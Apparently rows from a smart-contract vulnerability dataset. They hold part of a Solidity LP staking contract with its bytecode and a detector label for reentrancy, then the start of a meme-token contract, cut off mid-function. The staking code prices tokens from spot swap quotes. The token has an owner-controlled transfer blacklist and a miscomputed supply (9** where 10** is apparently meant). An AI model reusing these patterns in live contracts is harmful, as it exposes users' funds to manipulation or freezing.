require(tokenBDecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals");
_tokenBDecimalCompensate = tokenBDecimals - 6;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function totalSupplyRewardEquivalent() external view returns (uint256) {
return _totalSupplyRewardEquivalent;
}
function getDecimalPriceCalculationCompensate() external view returns (uint tokenADecimalCompensate, uint tokenBDecimalCompensate) {
tokenADecimalCompensate = _tokenADecimalCompensate;
tokenBDecimalCompensate = _tokenBDecimalCompensate;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function balanceOfRewardEquivalent(address account) external view returns (uint256) {
return _balancesRewardEquivalent[account];
}
function earned(address account) public view override returns (uint256) {
return (_balancesRewardEquivalent[account] * ((block.timestamp - weightedStakeDate[account]) * rewardRate)) / (100 * rewardDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
// permit
IERC20Permit(address(stakingLPToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
_stake(amount, msg.sender);
}
function stake(uint256 amount) external override nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
_stake(amount, msg.sender);
}
function stakeFor(uint256 amount, address user) external override nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
require(user != address(0), "StakingLPRewardFixedAPY: Cannot stake for zero address");
_stake(amount, user);
}
function _stake(uint256 amount, address user) private {
IERC20(stakingLPToken).safeTransferFrom(msg.sender, address(this), amount);
uint amountRewardEquivalent = getCurrentLPPrice() * amount / 1e18;
_totalSupply += amount;
_totalSupplyRewardEquivalent += amountRewardEquivalent;
uint previousAmount = _balances[user];
uint newAmount = previousAmount + amount;
weightedStakeDate[user] = (weightedStakeDate[user] * previousAmount / newAmount) + (block.timestamp * amount / newAmount);
_balances[user] = newAmount;
uint stakeNonce = stakeNonces[user]++;
stakeAmounts[user][stakeNonce] = amount;
stakeAmountsRewardEquivalent[user][stakeNonce] = amountRewardEquivalent;
_balancesRewardEquivalent[user] += amountRewardEquivalent;
emit Staked(user, amount);
}
//A user can withdraw its staking tokens even if there is no rewards tokens on the contract account
function withdraw(uint256 nonce) public override nonReentrant {
require(stakeAmounts[msg.sender][nonce] > 0, "StakingLPRewardFixedAPY: This stake nonce was withdrawn");
uint amount = stakeAmounts[msg.sender][nonce];
uint amountRewardEquivalent = stakeAmountsRewardEquivalent[msg.sender][nonce];
_totalSupply -= amount;
_totalSupplyRewardEquivalent -= amountRewardEquivalent;
_balances[msg.sender] -= amount;
_balancesRewardEquivalent[msg.sender] -= amountRewardEquivalent;
IERC20(stakingLPToken).safeTransfer(msg.sender, amount);
stakeAmounts[msg.sender][nonce] = 0;
stakeAmountsRewardEquivalent[msg.sender][nonce] = 0;
emit Withdrawn(msg.sender, amount);
}
function getReward() public override nonReentrant {
uint256 reward = earned(msg.sender);
if (reward > 0) {
weightedStakeDate[msg.sender] = block.timestamp;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function withdrawAndGetReward(uint256 nonce) external override {
getReward();
withdraw(nonce);
}
function getCurrentLPPrice() public view returns (uint) {
// LP PRICE = 2 * SQRT(reserveA * reaserveB ) * SQRT(token1/RewardTokenPrice * token2/RewardTokenPrice) / LPTotalSupply
uint tokenAToRewardPrice;
uint tokenBToRewardPrice;
address rewardToken = address(rewardsToken);
address[] memory path = new address[](2);
path[1] = address(rewardToken);
if (lPPairTokenA != rewardToken) {
path[0] = lPPairTokenA;
tokenAToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1];
if (_tokenADecimalCompensate > 0)
tokenAToRewardPrice = tokenAToRewardPrice * (10 ** _tokenADecimalCompensate);
} else {
tokenAToRewardPrice = 1e18;
}
if (lPPairTokenB != rewardToken) {
path[0] = lPPairTokenB;
tokenBToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1];
if (_tokenBDecimalCompensate > 0)
tokenBToRewardPrice = tokenBToRewardPrice * (10 ** _tokenBDecimalCompensate);
} else {
tokenBToRewardPrice = 1e18;
}
uint totalLpSupply = IERC20(stakingLPToken).totalSupply();
require(totalLpSupply > 0, "StakingLPRewardFixedAPY: No liquidity for pair");
(uint reserveA, uint reaserveB,) = stakingLPToken.getReserves();
uint price =
uint(2) * Math.sqrt(reserveA * reaserveB)
* Math.sqrt(tokenAToRewardPrice * tokenBToRewardPrice) / totalLpSupply;
return price;
}
function updateRewardAmount(uint256 reward) external onlyOwner {
rewardRate = reward;
emit RewardUpdated(reward);
}
function updateSwapRouter(address newSwapRouter) external onlyOwner {
require(newSwapRouter != address(0), "StakingLPRewardFixedAPY: Address is zero");
swapRouter = INimbusRouter(newSwapRouter);
}
function rescue(address to, IERC20 token, uint256 amount) external onlyOwner {
require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0");
require(token != stakingLPToken, "StakingLPRewardFixedAPY: Cannot rescue staking token");
//owner can rescue rewardsToken if there is spare unused tokens on staking contract balance
token.safeTransfer(to, amount);
emit RescueToken(to, address(token), amount);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0");
to.transfer(amount);
emit Rescue(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101ef5760003560e01c806386a9d8a81161010f578063c41f7808116100a2578063ecd9ba8211610071578063ecd9ba82146103a1578063f2fde38b146103b4578063f44c407a146103c7578063f520e7e5146103da576101ef565b8063c41f780814610381578063d1af0c7d14610389578063d4ee1d9014610391578063d72164fe14610399576101ef565b8063ac348bb2116100de578063ac348bb214610340578063b98b677f14610353578063baee99c214610366578063c31c9c0714610379576101ef565b806386a9d8a8146102ff5780638da5cb5b146103125780638edc7f2d1461031a578063a694fc3a1461032d576101ef565b8063389b70b31161018757806370a082311161015657806370a08231146102c957806379ba5097146102dc5780637a4e4ecf146102e45780637b0a47ee146102f7576101ef565b8063389b70b3146102855780633d18b9121461029b57806351746bb2146102a3578063673434b2146102b6576101ef565b80631cb1f5b6116101c35780631cb1f5b61461024f57806320ff430b146102575780632cb7714f1461026a5780632e1a7d4d14610272576101ef565b80628cc262146101f45780630d9df9c21461021d57806315c2ba141461023257806318160ddd14610247575b600080fd5b610207610202366004611e62565b6103e2565b6040516102149190612655565b60405180910390f35b610225610472565b604051610214919061210f565b61024561024036600461202a565b610496565b005b610207610530565b610207610536565b610245610265366004611eb0565b61053c565b610225610725565b61024561028036600461202a565b610749565b61028d610947565b60405161021492919061265e565b61024561098d565b6102456102b136600461205a565b610a9c565b6102076102c4366004611e62565b610b84565b6102076102d7366004611e62565b610bac565b610245610bd4565b6102456102f2366004611e85565b610c90565b610207610dfe565b61020761030d366004611e62565b610e04565b610225610e16565b610207610328366004611ef0565b610e32565b61024561033b36600461202a565b610e4f565b61020761034e366004611ef0565b610ee5565b610245610361366004611e62565b610f02565b610207610374366004611e62565b610fe7565b610225610ff9565b610225611015565b610225611039565b61022561105d565b610207611079565b6102456103af366004612089565b611757565b6102456103c2366004611e62565b6118a5565b6102456103d536600461202a565b611965565b610207611976565b60006103f36301e1338060646127ef565b60045473ffffffffffffffffffffffffffffffffffffffff8416600090815260056020526040902054610426904261282c565b61043091906127ef565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600c602052604090205461046091906127ef565b61046a9190612684565b90505b919050565b7f000000000000000000000000639ae8f3eed18690bf451229d14953a5a5627b7281565b60015473ffffffffffffffffffffffffffffffffffffffff1633146104f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790612238565b60405180910390fd5b60048190556040517fcb94909754d27c309adf4167150f1f7aa04de40b6a0e6bb98b2ae80a2bf438f690610525908390612655565b60405180910390a150565b60095490565b600a5490565b60015473ffffffffffffffffffffffffffffffffffffffff16331461058d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790612238565b73ffffffffffffffffffffffffffffffffffffffff83166105da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e7906125f8565b60008111610614576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e7906124d0565b7f00000000000000000000000000f5e5b8cbb3c91a82fe82eb5fbb02354372309373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561069a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790612416565b6106bb73ffffffffffffffffffffffffffffffffffffffff8316848361197e565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba910836040516107189190612655565b60405180910390a3505050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b600160008082825461075b919061266c565b909155505060008054338252600660209081526040808420858552909152909120546107b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e7906122a2565b3360008181526006602090815260408083208684528252808320549383526007825280832086845290915281205460098054919284926107f490849061282c565b9250508190555080600a600082825461080d919061282c565b9091555050336000908152600b60205260408120805484929061083190849061282c565b9091555050336000908152600c60205260408120805483929061085590849061282c565b9091555061089c905073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000f5e5b8cbb3c91a82fe82eb5fbb02354372309316338461197e565b33600081815260066020908152604080832088845282528083208390558383526007825280832088845290915280822091909155517f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5906108fe908590612655565b60405180910390a250506000548114610943576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061252d565b5050565b7f000000000000000000000000000000000000000000000000000000000000000c907f000000000000000000000000000000000000000000000000000000000000000c90565b600160008082825461099f919061266c565b909155505060008054906109b2336103e2565b90508015610a5d57336000818152600560205260409020429055610a0e907f000000000000000000000000eb58343b36c7528f23caae63a15024024131004973ffffffffffffffffffffffffffffffffffffffff16908361197e565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e048682604051610a549190612655565b60405180910390a25b506000548114610a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061252d565b50565b6001600080828254610aae919061266c565b909155505060005482610aed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061235c565b73ffffffffffffffffffffffffffffffffffffffff8216610b3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061259b565b610b448383611a1f565b6000548114610b7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061252d565b505050565b73ffffffffffffffffffffffffffffffffffffffff166000908152600c602052604090205490565b73ffffffffffffffffffffffffffffffffffffffff166000908152600b602052604090205490565b60025473ffffffffffffffffffffffffffffffffffffffff163314610bf857600080fd5b60025460015460405173ffffffffffffffffffffffffffffffffffffffff92831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360028054600180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ce1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790612238565b73ffffffffffffffffffffffffffffffffffffffff8216610d2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e7906125f8565b60008111610d68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e7906124d0565b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f19350505050158015610dab573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af282604051610df29190612655565b60405180910390a25050565b60045481565b60086020526000908152604090205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600660209081526000928352604080842090915290825290205481565b6001600080828254610e61919061266c565b909155505060005481610ea0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061235c565b610eaa8233611a1f565b6000548114610943576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061252d565b600760209081526000928352604080842090915290825290205481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610f53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790612238565b73ffffffffffffffffffffffffffffffffffffffff8116610fa0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e7906122ff565b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60056020526000908152604090205481565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b7f00000000000000000000000000f5e5b8cbb3c91a82fe82eb5fbb02354372309381565b7f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b604080516002808252606082018352600092839283927f000000000000000000000000eb58343b36c7528f23caae63a150240241310049928492919060208301908036833701905050905081816001815181106110ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101527f000000000000000000000000639ae8f3eed18690bf451229d14953a5a5627b7281169083161461132b577f000000000000000000000000639ae8f3eed18690bf451229d14953a5a5627b72816000815181106111a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f9061121090620f42409085906004016121d5565b60006040518083038186803b15801561122857600080fd5b505afa15801561123c573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526112829190810190611f02565b6001815181106112bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151935060007f000000000000000000000000000000000000000000000000000000000000000c1115611326576113197f000000000000000000000000000000000000000000000000000000000000000c600a612703565b61132390856127ef565b93505b611337565b670de0b6b3a764000093505b8173ffffffffffffffffffffffffffffffffffffffff167f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff1614611568577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816000815181106113e5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f9061144d90620f42409085906004016121d5565b60006040518083038186803b15801561146557600080fd5b505afa158015611479573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526114bf9190810190611f02565b6001815181106114f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151925060007f000000000000000000000000000000000000000000000000000000000000000c1115611563576115567f000000000000000000000000000000000000000000000000000000000000000c600a612703565b61156090846127ef565b92505b611574565b670de0b6b3a764000092505b60007f00000000000000000000000000f5e5b8cbb3c91a82fe82eb5fbb02354372309373ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115dc57600080fd5b505afa1580156115f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116149190612042565b905060008111611650576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e7906123b9565b6000807f00000000000000000000000000f5e5b8cbb3c91a82fe82eb5fbb02354372309373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156116b957600080fd5b505afa1580156116cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f19190611fdc565b506dffffffffffffffffffffffffffff918216935016905060008361171e611719898b6127ef565b611c5c565b61172b61171985876127ef565b6117369060026127ef565b61174091906127ef565b61174a9190612684565b9850505050505050505090565b6001600080828254611769919061266c565b9091555050600054856117a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061235c565b6040517fd505accf00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000f5e5b8cbb3c91a82fe82eb5fbb023543723093169063d505accf9061182690339030908b908b908b908b908b90600401612161565b600060405180830381600087803b15801561184057600080fd5b505af1158015611854573d6000803e3d6000fd5b505050506118628633611a1f565b600054811461189d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061252d565b505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff1633146118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790612238565b60025473ffffffffffffffffffffffffffffffffffffffff8281169116141561191e57600080fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b61196d61098d565b610a9981610749565b6301e1338081565b610b7f8363a9059cbb60e01b848460405160240161199d9291906121af565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152611ccb565b611a6173ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000f5e5b8cbb3c91a82fe82eb5fbb02354372309316333085611e1d565b6000670de0b6b3a764000083611a75611079565b611a7f91906127ef565b611a899190612684565b90508260096000828254611a9d919061266c565b9250508190555080600a6000828254611ab6919061266c565b909155505073ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604081205490611aec858361266c565b905080611af986426127ef565b611b039190612684565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600560205260409020548290611b369085906127ef565b611b409190612684565b611b4a919061266c565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260056020908152604080832093909355600b81528282208490556008905290812080549082611b9483612843565b9091555073ffffffffffffffffffffffffffffffffffffffff8616600081815260066020908152604080832085845282528083208b9055838352600782528083208584528252808320899055928252600c905290812080549293508692909190611bff90849061266c565b925050819055508473ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d87604051611c4c9190612655565b60405180910390a2505050505050565b60006003821115611cbd5750806000611c76600283612684565b611c8190600161266c565b90505b81811015611cb757905080600281611c9c8186612684565b611ca6919061266c565b611cb09190612684565b9050611c84565b5061046d565b811561046d57506001919050565b611cea8273ffffffffffffffffffffffffffffffffffffffff16611e3e565b611d20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790612564565b6000808373ffffffffffffffffffffffffffffffffffffffff1683604051611d4891906120d6565b6000604051808303816000865af19150503d8060008114611d85576040519150601f19603f3d011682016040523d82523d6000602084013e611d8a565b606091505b509150915081611dc6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e79061226d565b805115611e175780806020019051810190611de19190611fbc565b611e17576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790612473565b50505050565b611e17846323b872dd60e01b85858560405160240161199d93929190612130565b3b151590565b80516dffffffffffffffffffffffffffff8116811461046d57600080fd5b600060208284031215611e73578081fd5b8135611e7e816128da565b9392505050565b60008060408385031215611e97578081fd5b8235611ea2816128da565b946020939093013593505050565b600080600060608486031215611ec4578081fd5b8335611ecf816128da565b92506020840135611edf816128da565b929592945050506040919091013590565b60008060408385031215611e97578182fd5b60006020808385031215611f14578182fd5b825167ffffffffffffffff80821115611f2b578384fd5b818501915085601f830112611f3e578384fd5b815181811115611f5057611f506128ab565b83810260405185828201018181108582111715611f6f57611f6f6128ab565b604052828152858101935084860182860187018a1015611f8d578788fd5b8795505b83861015611faf578051855260019590950194938601938601611f91565b5098975050505050505050565b600060208284031215611fcd578081fd5b81518015158114611e7e578182fd5b600080600060608486031215611ff0578283fd5b611ff984611e44565b925061200760208501611e44565b9150604084015163ffffffff8116811461201f578182fd5b809150509250925092565b60006020828403121561203b578081fd5b5035919050565b600060208284031215612053578081fd5b5051919050565b6000806040838503121561206c578182fd5b82359150602083013561207e816128da565b809150509250929050565b600080600080600060a086880312156120a0578081fd5b8535945060208601359350604086013560ff811681146120be578182fd5b94979396509394606081013594506080013592915050565b60008251815b818110156120f657602081860181015185830152016120dc565b818111156121045782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff97881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b60006040820184835260206040818501528185518084526060860191508287019350845b8181101561222b57845173ffffffffffffffffffffffffffffffffffffffff16835293830193918301916001016121f9565b5090979650505050505050565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b60208082526037908201527f5374616b696e674c5052657761726446697865644150593a205468697320737460408201527f616b65206e6f6e6365207761732077697468647261776e000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a204164647265737360408201527f206973207a65726f000000000000000000000000000000000000000000000000606082015260800190565b60208082526027908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7374616b65203000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f5374616b696e674c5052657761726446697865644150593a204e6f206c69717560408201527f696469747920666f722070616972000000000000000000000000000000000000606082015260800190565b60208082526034908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f726573637565207374616b696e6720746f6b656e000000000000000000000000606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7265736375652030000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b60208082526036908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7374616b6520666f72207a65726f206164647265737300000000000000000000606082015260800190565b6020808252603a908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f72657363756520746f20746865207a65726f2061646472657373000000000000606082015260800190565b90815260200190565b918252602082015260400190565b6000821982111561267f5761267f61287c565b500190565b6000826126b8577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b80825b60018086116126cf57506126fa565b8187048211156126e1576126e161287c565b808616156126ee57918102915b9490941c9380026126c0565b94509492505050565b6000611e7e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848460008261273a57506001611e7e565b8161274757506000611e7e565b816001811461275d576002811461276757612794565b6001915050611e7e565b60ff8411156127785761277861287c565b6001841b91508482111561278e5761278e61287c565b50611e7e565b5060208310610133831016604e8410600b84101617156127c7575081810a838111156127c2576127c261287c565b611e7e565b6127d484848460016126bd565b8086048211156127e6576127e661287c565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128275761282761287c565b500290565b60008282101561283e5761283e61287c565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156128755761287561287c565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114610a9957600080fdfea2646970667358221220aba3d61b576ee50ba51d3460c716dfd5640f3fde0b67f847b3f88ad267a81f1c64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,308 |
0x290be03aa81f20f994a01cd4d2a39d435717cd7c
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
/**
*/
// SPDX-License-Identifier: MIT
/**
UchihaCaw Stealth Launch Locked and Renounced Contract
TG https://t.me/UchihaCaw
BuyTax: 5% SellTax: 8%
MaxBuy : 2% (20,000) Supply: 1,000,000
Slippage 30%-40%
**/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract UchihaCaw is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Uchiha Caw";
string private constant _symbol = "UchihaCaw";
uint8 private constant _decimals = 9;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 9**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 public _maxTxAmount = 20000*9**_decimals;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeWallet] = true;
emit MaxTxAmountUpdated(_maxTxAmount);
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
_feeAddr1 = 5;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 5;
_feeAddr2 = 8;
}
}
